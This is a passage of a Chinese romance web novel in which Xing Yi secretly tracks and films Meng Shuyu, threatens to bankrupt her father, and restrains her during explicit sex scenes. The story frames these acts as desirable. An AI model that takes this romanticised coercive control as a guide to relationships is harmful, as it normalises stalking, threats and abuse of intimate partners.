灯光恢复温然,感受着彼此的热意,纠缠呼吸,接一个湿漉漉的吻,他哑声问:“我好吗?” 明明坏得要死,非要逞凶追问到底,到底也不罢休。 坏东西坏东西,她心说人要有骨气。反正失语症说不出话,她现在有病人人设的加持,就这么倔,软硬不吃就要吃硬的。她下意识摇头,脑袋一动就被罚得透透的。他偏不让着她,两人拧来拧去一片狼藉,微卷的枕边被他一次又一次碾过抚平,继续重审,“我好吗?邢屹好不好?” 如果这真的是一场审问,她早就被冤枉定罪而后牢底坐穿,真的要穿了。本来决定不为五斗米折腰,这下真折得可以建一座石拱桥,她只能攥着他手臂含泪点头,无声回答“邢屹很好”,撞到他护在头顶的手掌,她晕晕乎乎,在接吻间隙里溢出哭腔咬他。 邢屹拧着眉心气她咬太紧,吻她的同时又相拥着翻过来,一阵天翻地覆她稳稳居上,他手起掌落让她吃一记清脆掌掴,发狠质问:“如果看清我的真面目,还会觉得我好吗?” 她心底的答案当然是“不会”。 但她知道,邢屹不想听见这个答案。 他似乎希望她闭上双眼爱他,爱到身心被占据,被充盈,爱到不辨正邪好坏,不分青红皂白。 孟纾语不说话,坚持是因为失语症而说不出来,邢屹不再逼问她,转而用领带绑住她手腕,沉重的身子骨覆在她背后,邢屹贴在她耳边莽撞说,他今早去医院打了针。 她茫然不解,被束缚着的双手垫着下巴,侧头看着他,眼底晕开一层温软晶莹的波澜,仿佛在问他打了什么针。 邢屹恶劣地一字一顿:“避/孕针。” 他要做他一直想做的事。 第40章 回吻狗血带球跑。 没有想象中滚烫,但存在感十分明显。 邢屹故意用手指搅动,她条件反射往里吞了一下,放松时又流了出来。 他被她下意识的微妙反应撩起一丝兴味:“还想吃?” 她飘一飘老实巴交的眼神,意思是不想吃了。别过脸,唇隐隐颤动,继续受着他手指捣弄。 “好浅,装不下这么多。”他浑话一箩筐。 坏东西。她咬紧他手指。 他眯起眼打量:“这么小也能吃得下我,真是小瞧孟纾语了。” 正儿八经的名字被他说得充斥五颜六色,她燥得脸烫,跟热胀冷缩原理反着来,温软的唇哆哆嗦嗦,无意识把他咬得更紧,邢屹戏谑地轻笑一声,借着她的热缩玩个不停,她默不作声,反应却诚实。 孟纾语越咬他,他就越来劲,还厚颜无耻地怪罪,说是她步步紧逼。 好会颠倒黑白,坏透了。 失语症果然不是那么容易装的,好几次都想开口怼他几句,又怕病人人设崩塌,她只能气鼓鼓憋住。 这坏东西就没个消停的时候。 幸好快到年底,信昀总部即将迎来一轮大洗牌。 高层内部的换血风波撼动下层,匿名员工群里八卦传飞,大部分人只是吃瓜看个乐子,有靠山的反而慌了神。 大家都在讨论自己的小领导有没有站错队,万一由上到下清算,树倒猢狲散,饭碗还保得住吗。 匿名员工甲:[信昀这么大的盘,上面裁你boss又不裁你,你慌啥,不就是换个boss吗] 乙:[别想得那么简单,万一二世祖发疯把整个部门一锅端了呢] 丙:[不可能吧,大家都说他很好,不会针对基层员工的] 丁:[哪里很好?脸很好吧。真心劝,职场不兴搞颜值即正义这一套,还是小心点吧,我觉得二世祖的手段阴着呢] 暗流涌动的氛围持续到股东大会当天,邢屹的废物二舅早就被他揪住小辫子,灰溜溜回家歇菜,会议室主座顺理成章成了他的位置。 最近忙着揪蛀虫,处理了几个背后搞阴招的老古董,他们抱团取暖,打死不承认自己挪公款出卖集团,开会时公然吵起来,“邢屹你别太横了,年轻轻轻没大没小,在这儿给我们一群长辈下绊子摆谱子,我就不信你真有本事挑大梁!” 邢屹微笑以对:“我有本事挑大梁,你有本事蹲监狱,我们都有美好的未来。我很年轻,而你快死了,挑个喜欢的木料打副棺材吧,省得出狱之后无处可去。” 对方登时气厥。 就这样,邢屹被工作上的鸡零狗碎绊住,孟纾语侥幸得福,过了一周清净日子。 周五下午接到方姨电话,方姨说星星想她了,邀她一起去寄宿幼儿园,接星星回外公家。 星星六岁了。 他不缺一个好家世,可偏偏活得像只没人要的流浪小狗。 一年前,邢漫芊跟丈夫离婚,孩子抚养权判给了她。但她一门心思跑到国外拍电影,说要复出,不管孩子死活。 后来是邢屹安排人手在照顾星星。 他似乎不希望弟弟被人歧视,一直把星星当正常人看待,送他上最好的私立幼儿园,让他像普通孩子那样融入集体。 放学时间,幼儿园门口停了一排接送孩子的保姆车,大人们翘首以盼,在鱼贯而出的小萝卜里寻找自家小朋友。 很快,星星蹦蹦跳跳走出来,跟朋友挥挥手说再见,一转头就望见孟纾语。 “姐姐!”小不点扑过来,孟纾语蹲下来抱住他,眉眼含笑,跟小孩卖关子,“猜猜姐姐身后是什么?” 星星木然摇头。 “是小狗哦。” 她把托特包拿到身前,喜羊羊从包里探头,小狗鼻子嗅来嗅去。 星星目光一亮,小心翼翼伸手摸它,它摇起尾巴。 方姨哎呀一声:“ 小狗真漂亮,你什么时候养的呀?” 她轻笑:“是邢屹养的。” “啊?没听说他最近有养狗呀。” 她大脑空白一瞬,坚持说:“养了的,他说是在纽约的时候养的。” “没有没有,绝对没有,他在纽约根本没养宠物。之前老先生送他一只金刚鹦鹉他都没要,说,”方姨压下嗓子,“‘管它什么花鸟鱼虫,迟早被我养死,少给我塞这些活的,烦。’” 邢屹的漠然语气被方姨模仿得入木三分。 幼儿园门前一派温馨热闹,孟纾语默默消化这一事实,像小岛一样定在人潮中央。 原来全是假的,全是邢屹设计好的。 她又被骗了。 转角处,车流缓缓移动。 深色轿跑停在安全岛附近。 邢屹降下后排车窗,欢燥声响漫入车内。 “乖乖,今晚吃糖醋排骨好不好?” “妈妈,我这周拿了七朵小红花。” “爸爸,我的牙齿松松的,它是不是要掉啦?” 一家三口有说有笑走过斑马线,小孩子牵着卡通气球。没抓稳。 “妈妈它飞了!” “没事没事,不要了,再给你买一个。” 邢屹安安静静看着他们走过,眼底是一只无所凭依的卡通气球,飘飘摇摇不知该去往何处。 人群中的孟纾语一手牵起星星,另手抱着装在包里的小狗,神情温柔明媚,一边走,一边低头听星星天马行空。 林泽扶着方向盘,对着远处露出姨母笑:“好温馨,像一家三口。” 邢屹眯起眼:“哪来的一家三口?” “孟小姐包里的狗子呀,加起来不就一家三口嘛。” 邢屹一记冷眼刺过去。 林泽惜命改口:“不不不,我是说,一家四口。加上您,再算上狗,就是一家四口。” “你的舌头迟早被我割下来炭烤。” “” 沉默间,邢屹看见孟纾语在跟方姨对话,有说有笑的,很快就跟方姨一起坐进了保姆车后排。 他眉心拧起:“她能说话了?” “诶?”林泽反应片刻,“好事,终于恢复了。” 邢屹不搭腔,眉眼压紧。 哪里是终于恢复。 明显早就恢复了,期间一直故意不跟他说话。 林泽观察后视镜,看出邢屹心事沉重,他默默闭嘴,认真开车。 一切平静。 直到驶上一条清冷辅道,一辆小货车突然从左边斜坡冲出来。 林泽猛打方向盘,两辆车惊险擦过,小货车冒着侧翻风险迅疾转弯,车屁股一溜烟消失,仿佛心虚逃难。 一阵凌乱动荡,劫后余生的轿跑冲向护栏,林泽猛踩刹车。 应急灯疯狂闪烁。 终于,一切平复。 林泽僵着表情回头查看。 邢屹的额头不知撞到哪,渗了点血,他直接用手背擦掉,拧着眉心定了定神,眼底情绪百般复杂,不知在想什么。 顿了很久才沉声说:“记下车牌号,立刻去查。别告诉孟纾语。” “好、好的。”- 孟纾语已经把星星送回邢老先生家,陪小朋友玩了会儿,天黑时由老宅司机接送,乘车返回别墅。 她表面风平浪静,其实早已精神恍惚。 监视的事是真的,puppy不是小狗,而是她。 她看了看怀里熟睡的小狗。 小狗是临时演员,那—— 避/孕针的事是不是也是骗她的? 她瞳孔震荡。 等等。 她的经期恰好推迟了五天。 心里没底,她顺路买了盒验。孕。棒,一回家就直奔房间浴室。 一切就绪,试纸正在缓缓变色,她站在马桶前来回踱步,手指捻着细支末端焦急等待。 浴室门突然被敲响。 心头一颤,慌乱时手一滑。 噗通,验孕棒掉进马桶。 怎么这么倒霉啊!她立刻把马桶盖子盖上,闹出砰的一声。 动静一炸,门也被用力推开。 她紧张回头,邢屹保持着开门姿势定在门边,另一手拿着冰袋敷额头,眼神凌厉又错愕。 “你搞什么?” 孟纾语咽了咽喉咙,心虚摇头。 “少装,知道你可以说话。” “” 她往旁边退了几步,双手向后撑着洗手台边缘,毫无安全感:“你那天真的打了避/孕针吗?” “打了。” 邢屹目光坦荡,上前扔掉冰袋,托着她的腰把她抱到洗手台上坐着,他嵌在她面前。 对视片刻,他的手掌忽然意味深长地贴下来,抚摸她平坦的小腹。 她心脏乱跳,邢屹却淡淡低眸,望着掌心轻抚的部位,语气波澜不惊:“如果有个孩子,是不是挺好的?” 他什么意思?惹得她心乱如麻。 “你疯了,我才二十岁。” “二十岁正好可以成家了。” “”无法沟通。 距离很近,发现他额角有伤。 不解地注视几秒,他西裤口袋忽然溢出亮光,她及时提醒:“你有电话。” 邢屹看了眼来电显示,是林泽。 他最后在她脑袋上揉了一下,若无其事出去接电话。 等他离开,孟纾语立刻跑过去掀开马桶盖。 完了。 显示指示标的那一面正好朝下。 真的要捡吗?虽然家里马桶很干净,但 不行,硬着头皮都伸不下手。 而且被马桶里的水泡了这么久,结果一定不准。 邢屹很久才接完电话,回到卧室时,孟纾语正抱着膝盖坐在床头,一副世态炎凉人生完蛋的表情。 邢屹有点好笑地问:“你论文又被批了?” “没有。” 邢屹拿起搭在沙发椅上的外套,一边穿一边叮嘱:“我出去一趟。记得吃晚饭。” 她心不在焉:“嗯。” 邢屹走了几步又回头,不动声色说:“一会儿家里有人来,我让他们处理一些事情。你看见了也不用在意。” 她茫然抬眸,脚步声已经远去。 谁来? 算了,这不是她该关心的问题。 现在最重要的事情是再买一盒验。孕。棒。 可是这里远离市区,安保又严,别说外卖骑手,就连同城跑腿都送不过来。 只能自己出去买了。 孟纾语下楼,看见几位身穿制服的专业师傅,正兢兢业业在大门边安装着什么。 她心有疑虑地靠近。 “您好,请问你们在?” 师傅回头,微笑:“您好,邢先生让我们来加固别墅门窗,增设几道安全锁。” 她怔了下,看向门外。 “那他们,又在干什么?” “在安装红外监控。” “?” 她两眼一黑- 邢屹今晚亲自开车,在路上接到保姆电话。 耳机传出声音:“邢先生,我刚才打扫卫生的时候,发现卧室的主卫里,有一根验。孕。棒。” 音落的第一秒,他无动于衷。 第二秒他猛然刹车,瞳孔震了一瞬,指腹按紧蓝牙耳机:“你确定是验。孕。棒?” “是的。但是这个杠杠浸水了,完全看不清,不知道是两条还是一条” 邢屹错愕几秒,一手攥紧方向盘,手背青筋涨起。 不可能,打了避/孕针之后内怎么可能中招。 “她现在在哪?” “孟小姐出门了,不知道要去哪,她没跟我说。” 邢屹沉出一口气,打电话给孟纾语。 不接- 孟纾语从车库里挑了一辆邢屹的车,加速行驶在主干道上。 人真是一种很奇怪的生物,既好奇结果,但又不想直面结果。 如果真的怀了,要留吗? 越思考越头疼,她只想买张机票飞回宁城。 她离开别墅之前,大门莫名其妙加了几道锁,门外装满监控,院子里还多了几个疑似保镖的黑脸壮汉。 邢屹到底在发什么疯。 如果他是故意想让她怀孕,再把孕期 的她锁在家里豢养起来那也太禽兽了。 她没有上帝视角,完全不知道自己拿了什么剧本,不会是狗血带球跑吧,老天爷,别逗她了行吗。 她心慌意乱,紧踩油门超了一辆小面包车。 这鬼地方真是一秒都待不下去了。 车内导航在药店和机场之间来回纠结。 她选择先去机场。 手机贴着中控台震动。 她咬牙接通,打开免提。 邢屹呼吸沉重,声线焦急又飘忽不定,中间一个字甚至被沙哑语调吞没:“你有了?” 孟纾语大脑混乱,来不及回答,邢屹不由分说地逼她:“现在马上给我停车。” 她僵着手腕紧握方向盘,任他怎么警告,跑车速度是一点也不减。 他声线平直:“还不停是吧。” 差点忘了,这车是他的,他完全可以查到定位。 邢屹脱口而出:“想不想看孟叔破产?” 她心头狂震,几乎有种想哭的冲动:“你拿我的家人威胁我吗?” 邢屹略过她的质问,声线冷得像把利刃抵在她脖子上:“马上给我停车。” 她吸一记鼻子,突然就好委屈:“不可能。” 电话里冷嗤一声。 “可以,你胆子越来越大了。” “还不停?” “3、” “2、” 40-50 第41章 回吻一发入魂? 车外后视镜反射一抹强光。 身后一辆黑色轿车穷追不舍。 嚣张的远光灯,扎眼的车牌号。 不是邢屹还能是谁。 孟纾语急得一手的汗,这又是什么剧本,高架桥雨夜迈巴赫吗! 幸好这条道足够宽敞冷清,也没下雨,两辆车一逃一追,迈巴赫紧咬不放,引擎声撞破空气疾速呼啸,窗外夜景飞驰而过,整齐高耸的路灯聚成一条刀刃薄的光带。 人的潜力果然无穷,她拿到驾照整整一年不敢上路,现在竟然实打实超速驾驶。 后视镜里,迈巴赫切到她斜后方,车喇叭重重按了三下。 其实他完全可以超她的车,不知为什么就一直跟在后面。 这样更可怕,压迫感无孔不入,完全猜不到他下一步要做什么。 甩不掉,根本甩不掉。 她紧张得后背沁汗,邢屹说不定还嫌她开太慢。 这个十恶不赦的坏东西,仿佛一出生就具备天花板级别的爆发力和耐力,山路赛车对他来说都算小儿科,更别说在平坦直道飙车。 她一个新手小菜鸟,跟邢屹这种人较劲,根本较不赢。 再这么下去迟早要被交警通缉,孟纾语深呼吸,缓缓减速。 手机躺在中控台高频抖动,通话保持着,他还有闲心犯浑:“学乖了,不想跟我殉情了?” “” 一拳打不进屏幕的无力感。 撑不下去了。 靠边刹车。 算得上一个急刹,惯性俯冲,脑袋砰一声撞回座椅,短短三秒好像拜访了一趟天堂,她昏昏沉沉闭着眼,轻按太阳穴醒了醒神。 恍惚间,高大黑沉的影子从车窗外笼罩过来。 邢屹弯下腰,随意把外套甩到肩上搭着,一手撑着车顶,冷森森盯着她看。 孟纾语按着额头避开他视线,僵持几秒,他压着脾气屈指敲窗:“给我下来。” 她怕他犯病,连忙把车门锁了。 邢屹在手机上按了一下。 又开了。 “” “很意外吗?”邢屹欠揍地说,“我的车。” “对,你的你的,全是你的。” 孟纾语定了定神,委屈巴巴推门下车。 要是真的怀了,孩子也是他的。 全都是他的。 一下车就冷得不行,薄毛衣不抵风袭,孟纾语冷飕飕抱着胳膊,沿着路边快步走,恨不得离他十万八千里。 邢屹这个混账东西,可恶可恶可恶,可恶得要死! 心里刚骂完,邢屹从身后抱住她,一手圈揽着她细瘦的腰,另一只手臂紧紧横在她肩膀前,她挣扎两下无济于事,委屈得想哭:“你干嘛啊,我停车了你又不乐意,你到底要干什么!” 邢屹低喘了声,语气放缓:“听话,我们去医院看看。” “不要。”她狠狠心说,“怀了也不给你生,你做梦去吧。” 她挣开他怀里,没走几步又被他捉回去。 很快就无力挣扎,邢屹把她抱上车头坐着,他站在身前,把她往前拖了点距离,让她双腿缠住他的腰。 孟纾语埋头生闷气,鼻尖红红的,不知是被风吹的,还是真的难过得要哭。 邢屹撩开她被风吹乱的发丝,严肃目光凝视她:“冷静一点,打了避/孕针不可能怀。” 越说她越委屈:“你说这话你自己信吗,我都不知道你是不是骗我,万一你没有打针,万一你是故意的” 邢屹最后一点耐心,全都用来应付她的胡思乱想。 他沉下呼吸,无奈又纵容:“我再说一遍,避/孕针真的打了。” 哄完又牵起吊儿郎当的浅笑,故作谦虚:“再说了,我一发入魂啊?你男朋友就这么厉害?” “”完全有可能。 她冷静下来,可怜巴巴吸一记鼻子:“那你干嘛这么紧张,干嘛连夜安排保镖盯着我,门口还装了那么多监控摄像头。” 怎么看都是要趁她怀孕软禁她的架势。 邢屹抚摸她脸颊,温热掌心贴在她白净无妆的脸蛋上,拇指轻轻摩挲:“具体原因不好跟你解释。只是最近不太安稳,怕你被人盯上,我最近事情又多,不能每天陪你,只能提前把所有事项安排好,这样我放心些。” 孟纾语若有所思,借着沉默的时间,看了看他额头上尚未愈合的伤,又低头,看他手臂内侧一条不知原委的刀疤。 “你到底发生什么事了?” 邢屹避重就轻:“以后再跟你解释。” 这话不太走心,听着像敷衍。 孟纾语整理好思绪。 已经不愿再信他了。 “算了,你骗我很多次了。”她心头堵得慌,“从很久之前开始你就骗我。那年暑假你第一次来我们家吃饭,在桌底下用腿碰我,你还说你是不小心的。明明就不是,你就是故意的。” 邢屹不说话,兀自把外套披到她身上,裹住她。 她出门太急忘了换鞋,脚上一双浅粉色毛绒拖,她脚尖微微往下垂,毛绒拖就顺着重力滑了下去。 莹白的脚背暴露在冷空气里,冻出几根紫红色的血丝,邢屹弯下腰,握住她脚踝,把毛绒拖给她套回去。 “这次没骗你。”他重新看着她的眼睛,语气坦坦荡荡,“上次也没骗你,真的打了避/孕针。你要是不信,进车里给你看看?针孔还在。” 孟纾语没研究过男性避/孕针是从哪里注射的,免不了有点好奇,半信半疑地问:“针孔在哪里?” 邢屹耷着眼睫,微挑眉梢浅浅一笑:“你猜啊。” 她忍不住往他身下扫了一眼。 默默收回视线,支支吾吾:“我不想猜。” 他捏她脸蛋:“不猜就老实点儿,跟我去医院。” 就这么跟他来到医院。 经过一阵煎熬等待。 结果下来了。 没怀。 只是她最近体虚又体寒,周期有点乱了。 闹了一场乌龙。 孟纾语不禁松了口气,仿佛从地震废墟堆里爬出来重见天日,一丝微妙的恍惚感。 这怎么不算是一种劫后余生。 夜晚十点过,两人坐在公园附近的长椅上。 晚风习习,孟纾语捧着外带杯,一手拿着小勺子,喝他半路买来的一杯暖乎乎的梨汤。 邢屹坐姿懒散,一手横搭在长椅靠背上,肩垫一样给她靠着。另手捻着检查报告单,指腹时不时摩挲边缘,低垂着眼眸一言不发,神情若有所思。 这个时间不算太晚,偶有居民路过。 有人在公园附近遛比格犬,也有小情侣挽着手,往家里拎回一份夜宵,还有一家三口温馨散步,讨论明天的菜肴。 邢屹把报告单折了折,拿在手里,当个解闷的玩意儿,抬头看见一家三口路过,他眼底情绪又沉了沉,让人捉摸不透。 孟纾语嚼着甜滋滋的梨肉,对他说:“下周我要继续实习了,不能请那么长的假。” 她一个实习生,带薪休假这么久,公司里都有人传八卦说她是老总的女儿了。 邢屹的手臂垫在她脖子后面,顺势抬手揉揉她脑袋,目光飘向不远处,看着werwer乱叫的比格犬,他气定神闲说:“再休息一段时间,其他问题我给你处理。” “不行,这样不太好。” “那就辞了。” “”孟纾语斜眼控诉,“你总是这么不讲理。我已经跟hr说了,下周就回去实习。而且从下周开始,我要搬出去住。” 邢屹顿了一秒。 “不允许。” 早就料到他会说这句。 孟纾语晓之以情动之以理:“我跟朋友商量好了,我要跟她合租。就是婧婧,你知道的吧,我之前跟你提过的,她有轻微的双相情感障碍,最近又被毕设折磨得焦头烂额的,精神状态特别差,我想过去陪陪她。” 邢屹轻嗤一声:“上赶着关心人家,也没见你这么关心过我。” “?”这有什么好比的。 “人家确实生病了呀,又是比较敏感一点的女孩子,我关心人家有错吗?你讲不讲道理啊”她小声咕哝,“你个坏东西。” 远处的比格犬被主人怒锤狗头,不叫了。 邢屹依旧看着那个方向,缓缓牵起嘴角,笑意含讥带讽,又有点微妙的受用:“骂我坏东西,不还是要跟我做。爱。” 孟纾语刚咽下一块梨肉,差点呛到。 一时哑口无言,想了想,借机反将一军:“只是生理性喜欢。” “也是喜欢。” “不是。”她怒嚼果肉,含糊不清地反驳,“你强词夺理。” “你口是心非。” “你颠倒黑白。” “你阳奉阴违。” “你!” 邢屹转头看她,似是觉得她好逗,笑了下,语气轻飘飘:“怎么,想不出词了?” 孟纾语捧着自己的梨汤杯子,别过脸。 “我不想理你,你骗了我太多次。”尤其是定位和监控,简直发疯。 “邢屹,你知不知道你很可怕?” 他顺水推舟,恬不知耻:“装个定位器监视器而已,就称得上可怕了?” “不可怕吗?”她转头不可思议地看着他,“你问问你自己,哪个正常人会做出那样的事?” 在卧室里安了监视器,那她偷偷在床上玩玩具的时候岂不是 岂不是被看得一清二楚! 完了。 人生能不能重启啊。 孟纾语心乱如麻,气得几乎想哭,蹙起眉心质问他:“监视器里的画面,你是不是每天都看?” “怎么可能。”邢屹浑不在意道,“我没那么闲。” 他在国外待了两年,其实也忙了两年。 一是要按照联合培养计划修够学分,二是要参加各种宴会结识一群秃顶老头,处理好人际关系,实现老爷子对他的期望,再就是利用课余时间,玩各种极限运动发泄他无处释放的精力。 两人之间有12个小时的时差,当他病态的爱。欲悄然冒头,选择打开监视程序时,孟纾语要么在睡觉,要么刚起床。 没什么震撼人心的画面,一切都很平淡。 孟纾语松了口气,却又咽不下这份委屈:“即使这样,也不能改变你病态的事实啊” “知道我有病,就别妄想跟我讨价还价。” 邢屹一贯擅长从善如流强词夺理。 她冷不丁又被气到:“你太混蛋了,我不想跟你待在一起。我也有我自己的生活啊,我既要写论文又要实习,良民一个,哪像你,一天天祸国殃民,讨厌死了。” 她心想,要不是因为她现阶段有学业有实习,按照他的变态作风,她绝对会被他软禁。 她拿起勺子戳了戳杯子里的果肉,好烦,怎么都舀不起来。 “你就不该叫邢屹,太气人了,什么屹立不倒,你就该叫邢塌,彻底倒塌。” 邢屹突然间笑出声来,笑得胸腔都在震。 她舀不上果肉,埋头生闷气,邢屹掰过她的脸,重重亲了一下,她啊一声躲闪,被他捉回去又亲一下。 她又躲,邢屹气汹汹捏着她后颈:“不让亲?” “不让!” 他得寸进尺,吻上她的唇。 “就亲。”- 孟纾语回家第一件事就是收拾行李。 说好要搬出去,就是要搬出去。 而且她跟莱姨软磨硬泡,莱姨已经同意了。毕竟只是暂时搬出去,在朋友那儿住一段时间也没关系,只要周末记得回家吃饭就行。 这事倒没跟老孟说。她想先斩后奏来着。说来也怪,老孟最近一直问她病好了没。 什么病?她之前失语症的事他又不知道。而且老孟一直说想来看看她,她每次都搪塞说最近太忙,过段时间吧。 言归正传,她搬走这件事,邢屹一直不允许。 她索性破罐子破摔。 哪怕邢屹在门边看着她,她也要继续收拾行李。 她蹲在行李箱前,衣服叠都不叠就砸进箱子里,仿佛衣服是人,被她丢来丢去,搓圆揉扁。 邢屹倚靠着门框,不动声色耷着眼睫看她。 从她的行为里分析出一丝有恃无恐。 她知道自己哭了他就会哄,受伤了他就会心疼,所以连藏都不藏了,直接当着他的面造反。 邢屹冷嗤一声:“孟纾语,你是不是以为我不会生气。” “哪有,你最会生气了。”她嘀嘀咕咕说,“你就是个气球,一戳就破。” 孟纾语心不在焉收拾行李,忽然听见他声音沉了一度:“我是不是给了你一种错觉,让你觉得自己可以安安稳稳从我身边逃走?” “” 心头莫名一震。 “过来。”他说。 她颤颤回头。 “你要干嘛。” 邢屹拿起手机看了一眼,指尖轻按几下,似乎在回某人的消息。 “别问这么多。”他浑身一股阴恻恻的压迫感,掀起眼皮看她,“过来。” 第42章 回吻快给我解开! “我不。” 混账东西阴招多得很,绝不能自投罗网。 “你确定?”邢屹拿着手机,轻点几下大腿侧面,“假如你现在过来亲我,我可以不安排之后的事情。” 什么事情? 八成是危言耸听,想让她草木皆兵心生恐惧,进而水到渠成达到他的目的。 孟纾语抓起一件小吊带团成球,塞进行李箱,怒锤两下。 “我现在不相信你,也不想亲你。” 满了,她合上行李箱。 起身,腿有点麻,晃了两下,一不留神被他从身后抱住。 手臂动弹不得,她肩膀拧了两下,侧过脸却被他啵一记脸颊。 她懵了一瞬,讷讷:“你要干嘛。” 衣摆溜进一丝凉风,很快就被他温热的手掌覆盖拢住,浑沉热气洒落耳畔:“干你啊。” 她身形一紧,嗓子莫名有点干涩,吞咽一下:“你再说这种浑话,我就——” “就怎样?” 无言以对,孟纾语深吸一口气:“有件事我一直想问你是不是,有性。瘾?” 他毫不诧异:“有又怎样,你亲自帮我治?” 早知道不问了,真是得寸进尺。 邢屹轻轻掰过她下颌,她只能朝着他脸庞方向扭着脖子。 两人微妙对视。 “不是说对我是生理性喜欢?”他目光往下扫,掀起眼皮笑了下,“离开我,你还怎么爽?” 她一时哑然 ,耳根子慢慢变烫,邢屹逗弄似的捏了捏,仿佛收敛了骨子里的恶劣,强硬手段竟然悄无声息化开,变成柔软糖浆,黏黏糊糊包裹着她。 “乖一点,我在哪,你就应该在哪。别跑得太远,别让我担心。” 沉磁轻柔的语气,落进耳朵里却让她头皮发麻。 “怎么在发抖。”邢屹撩开她耳边垂落的长发,指背蹭蹭她脸颊,“我做了什么事让你这么害怕?” 他还好意思问,答案不是显而易见吗。 在没有彻底了解他之前,她尝试用心喜欢他,对他日后的改变抱有一丝希望。 后来他提出结束,她以为彼此再也没有交集,心底有微妙的失落,却也实实在在松了一口气,享受了两年的清净安稳。 再后来,邢屹悄无声息回国,一回来就盯上她,无所不用其极,侵入她的生活,占据她的身心。 她被那些非人手段折腾到精神恍惚,三天两头做噩梦,精神抗压能力被迫增强,就连对疯狂事物的接受程度都提高了不少。 就这样,她对他抱有的最后一丝希望消失殆尽。 像坐上游乐园里暗藏故障的游戏设施,一番惊险刺激的摇摆之后,终于停了下来。 经历了一场要命的眩晕,脚踏实地之后,她静下心来,选择让生活重回正轨。 孟纾语说:“你的存在就已经让我很害怕了。” “是吗,我怎么你了?”邢屹故作清白地反问,“只是不建议你搬出去,这都能让你害怕?” 她嗓子压紧:“就是很害怕。” “害怕我,还敢当着我的面收拾行李?” “” 邢屹低嗤一声:“胆子这么大,不就是算准了我现在不会拿你怎么样。要是我狠心点,你现在早就被我*昏了。” 呼吸声急促不安,她恍惚发现是自己的呼吸。 邢屹忽然放开她,瞥一眼地上的行李箱。 箱体束了一根黑色的捆绑带。 他不动声色把它解了下来,孟纾语心惊胆战,身形晃动一下,六神无主地朝门边跑去,不料他眼疾手快,在她逃走的前一刻反剪她双手控在背后,用捆绑带紧紧束住她,压在她在床边。 后颈被他宽热的手摁着,她浑身发烫,羞恼又无奈,侧脸和前胸紧紧贴着床单,挣扎出一滩褶皱。 “邢屹你疯了,快给我解开!” 邢屹站在身后,弯起一只膝盖撑在床沿,低身,一手慢条斯理抚过她长发。 柔软的黑发被他拢成一束,忽然又松开,发丝四散落下,有几缕垂落在鼻尖,阻碍她忐忑不安的呼吸。 尝试挣扎起身,邢屹却轻而易举按住她,她一寸都挪不了,只听他声线平直地说:“或许我一开始就不该跟你谈什么莫须有的‘爱’,反正你也说了,我根本不懂什么是正确的爱。既然这样,倒不如从认识的第一天起就把你衣服扒光,套根链子锁在家里,我一摇铃铛你就过来坐在我身上,被我顶到哭,一边哭一边求饶,第二天连路都走不了,只能眼巴巴跟我撒娇,要我抱。” 羞耻心被他撩起,胸腔里仿佛风滚火球,热得不行,她微张嘴唇艰难换气,唇角突然插。进来一根无名指,指根磨着她齿缘,温浅口腔容不下这根长度,指尖直接抵进了喉咙,她难以招架,忍着眼泪闷哼一声。 邢屹低垂视线观察她的反应,手指搅了搅:“这里,本来应该戴一枚戒指。可惜你不愿意跟我结婚。” 孟纾语呜呜咽咽说不出话,邢屹搅过她柔软的舌头,扯出一丝晶莹:“再问一遍。到底愿不愿意跟我结婚。” 异物感从口腔里退去,她双眸涣散,有气无力地说:“不愿意,我不想跟你结婚” 邢屹眼神嘲弄,忽然把她翻了个面,膝盖顶开她并紧的双腿,睡裙裙摆快速抹起一阵风,软绸在腰间聚成一堆褶皱,视野被他上半身挡住,她来不及戒备,身心弱点早已被攻陷。 邢屹掐着她下巴吻过来,气息被他全部吞没,她慌张无措地躲吻,脑袋在床上蹭出急促的摩擦声。 越是躲闪,他就更用力地掰正她脸颊,欺身而下,舌头撬开她嘴唇。 她死守防线,邢屹冷嗤戏谑:“不是生理性喜欢么,怎么突然不会伸舌头了?要我教你?” 嘲完又继续吻。 一番纠缠绞动,孟纾语果断撇过头,眼角溢出一点生理泪水,视死如归地打断他:“我知道你想要什么!” 他了无痕迹地笑:“我想要什么?” 她低喘几声,调整好呼吸,望向他黑沉沉的眼眸,声线紧张细碎:“你先把绳子解开” 邢屹似乎好奇她能搞出什么花样来,于是直起身子,站在床边给她解开了捆绑绳。 她缓缓坐直,靠近他,颤抖着指尖,伸手触碰他皮带前的金属扣。 他目光随着她的动作松散垂落,眼底泛起一丝波澜。 她指尖一勾。 咔一声。 解开。 她膝盖并拢压着床单,改成一个跪趴的姿势,手还搭在原处,解开他另一道金属链。 邢屹微微错愕,很快又云淡风轻:“不嫌弃?” 孟纾语默不作声,咽了咽喉咙,脸庞迎上去。 突然被他揪住了后颈,阻隔在毫米之外。 她愣了愣,抬眸看他,只见他喉结涌动,眼神深暗而强硬:“我还不至于让你做这种事情来讨好我。” 说完就放开她,转身进了浴室。 孟纾语一时恍惚,清醒过来时,浴室里水声响起,他沉闷沙哑的声音传出来:“想搬就搬,不拦你,只要你不在乎自己会尝到什么后果。”- 越是害怕,就越是想离开。 最终还是决定要搬。 谁没点天生的倔脾气呢。 毛婧婧新租的套二就在她实习的公司附近,前几天已经签完合同,还没正式入住。 次日傍晚,她给孟纾语发消息。 [孟孟,我把地址和门锁密码给你,你先把行李搬进去吧,我还在宁城看我奶奶呢,她缠着我不让我走,过几天才能回去。] [好,那我先住进去了] 孟纾语发完消息,林泽已经帮她把大包小包的行李放进车后备箱,负责送她过去。 “林助,谢谢你。” “不用谢,应该的。”林泽合上后备箱,善意提醒,“您今天搬过去的事,需不需要跟小邢说一声?” “不用了,他今天不是要开会吗,应该很忙吧。” 说完,手机贴着掌心震动。 她一边坐进车后排,一边接通:“喂,爸。” “诶,乖乖,你病好点了吗?” 她好疑惑:“爸,之前到底是谁跟你说我生病了?” 孟明德明显顿了一下,打哈哈说:“没谁没谁,爸对你是心灵感应。” “” “身体没事就好,爸就是关心一下。对了,你生日快到啦,想要什么礼物?” “不用啦,我没什么想要的,你多给自己买一点东西嘛。” “那怎么行,我女儿每一年的生日礼物都不能少。刚才是车喇叭的声音吗,你在外面呢?” “嗯,我在车里呢,打算搬去婧婧家住一段时间,公寓离我实习的地方很近,以后我就不用起太早了。” 孟明德沉吟片刻,妥协说:“那也行。爸之前总把你当成长不大的小孩子,转眼间你快毕业了,搬家这种事就让你自己决定吧,只要不是一个人住就好。现在世道太乱了,姑娘家家一定要保护好自己。” “嗯。” 她悄悄松了口气。 心想,离邢屹远一点就是在保护自己。 